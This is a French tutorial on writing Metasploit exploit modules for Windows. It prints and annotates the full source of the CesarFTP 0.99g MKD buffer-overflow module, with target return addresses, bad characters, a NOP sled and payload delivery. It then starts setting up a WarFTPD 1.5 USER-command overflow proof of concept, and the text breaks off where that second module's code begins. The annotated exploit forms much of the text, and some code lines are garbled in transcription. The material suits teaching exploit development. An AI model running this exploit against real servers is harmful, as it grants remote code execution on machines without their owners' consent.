Metasploit/Écriture Exploit Windows
Allons-y.
Dans le Framework Metasploit, un exploit est appelé "module exploit".
Les modules exploit se trouvent par défaut dans : 
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\
Les modules exploit sont classés par plate-formes ("OSs") et par types ("protocoles") dans des répertoires.
Édition d'un module exploit.
Une bonne manière de comprendre comment un module exploit est écrit est de commencer par en éditer un.
Nous éditons ce module :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb
 ##
 # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $

# This file is part of the Metasploit Framework and may be subject to 
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
 # http://Metasploit.com/projects/Framework/

#Les lignes de commentaires débutent par un # ("elles ne seront pas exécutées")
 require 'msf/core' #Nous aurons toujours besoin de la librairie core
 module Msf #Cette ligne devrait toujours être présente
 class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
 #Le nom de la classe ("Exploits::Windows::Ftp::Cesarftp_Mkd") indique où le module exploit se trouve physiquement
 ("*\exploits\windows\ftp\cesarftp_mkd.rb")
 Le nom de fichier du the module exploit ("cesarftp_mkd.rb") doit être le même que le nom de la classe ("Cesarftp_Mkd")
 include Exploit::Remote::Ftp #Nous utilisons les fonctions FTP incluses dans le MSF
 def initialize(info = {})
 super(update_info(info, 
 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
 #Un nom compréhensible et détaillé (sera affiché dans la console)
 'Description' => %q{
 This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
 #La description du module/vulnérabilité
 'Author' => 'MC', #Le (sur)nom de l'auteur de ce module
 'License' => MSF_LICENSE, #Type de licence
 'Version' => '$Revision: 4419 $', #Numéro de version du module
 'References' => #Différentes 'URLs' sur la vulnérabilité
 [ 'BID', '18586'],
 [ 'CVE', '2006–2961'],
 [ 'URL', 'http://secunia.com/advisories/20574/' ],
 'Privileged' => true,
 'DefaultOptions' =>
 'EXITFUNC' => 'process',
 'Payload' =>
 'Space' => 250, #Espace maximum disponible en mémoire pour stocker le shellcode (payload)
 'BadChars' => "\x00\x20\x0a\x0d", #Liste des caractères interdits
 'StackAdjustment' => -3500,
 'Platform' => 'win', #Type de plate-forme(s) cible
 'Targets' =>
 #Liste des cibles et des adresses de retour
 [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
 [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
 [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
 'DisclosureDate' => 'Jun 12 2006', #Date de divulgation de la vulnérabilité
 'DefaultTarget' => 0
 #Cible par défaut utilisée si non spécifiée par l'utilisateur ("ici: Windows 2000 Pro SP4 English")
 )
 end
 def check #Fonction utilisée pour vérifier si une cible est vulnérable
 connect
 disconnect
 if (banner =~ /CesarFTP 0\.99g/) #On test la bannière retournée par le serveur
 return Exploit::CheckCode::Vulnerable #Le serveur est vulnérable
 end
 return Exploit::CheckCode::Safe #Le serveur n'est PAS vulnérable
 end
 def exploit #On définit notre exploit
 connect_login #On utilise "la fonction d'authentification Ftp"
 sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Alignement
 sploit « [target.ret].pack('V') + make_nops(40) + payload.encoded
 #Adresse de retour (convertie en little endian) + train de nops + payload
 print_status("Trying target #{target.name}...")
 send_cmd( ['MKD', sploit] , false) #On envoie notre code exploit à la cible
 handler
 disconnect #On ferme la connexion
 end
 end
 end
Écriture d'un module exploit.
La cible.
Pour comprendre comment écrire un module exploit pour le Framework Metasploit, on écrit un exploit pour une vulnérabilité facilement exploitable dans WarFTPD version 1.5.
"(Notez que le module exploit pour cette vulnérabilité existe déjà dans le Framework Metasploit, mais nous allons essayer d'écrire notre propre exploit.)"
Nous téléchargeons et installons WarFTPD sur notre machine Windows.
Nous démarrons WarFTPD Daemon.
Décocher la case "No anonymous logins".
Nous démarrons le serveur FTP (cliquez sur le bouton "Go Online/Offline")
Ok, le serveur nous attend...
La vulnérabilité.
Nous pouvons trouver des informations sur la vulnérabilité sur plusieurs sites.
Voyez celui-ci par exemple :
http://osvdb.org/displayvuln.php?osvdb_id=875&print
L'on voit que le bogue survient en envoyant "une requête spécialement conçue" dans la commande USER.
Très souvent, une très longue chaîne de caractères provoque ce genre de bogue.
Nous vérifions ceci.
La preuve de concept (PoC).
En premier lieu, nous reproduisons la vulnérabilité.
Pour cela, nous utilisons directement le Framework Metasploit.
Nous créons ce fichier :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb
Nous l'ouvrons et écrivons (copier/coller) le code suivant dans ce dernier :
 # This file is part of Le Framework Metasploit and may be subject to 
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
 # http://Metasploit.com/projects/Framework/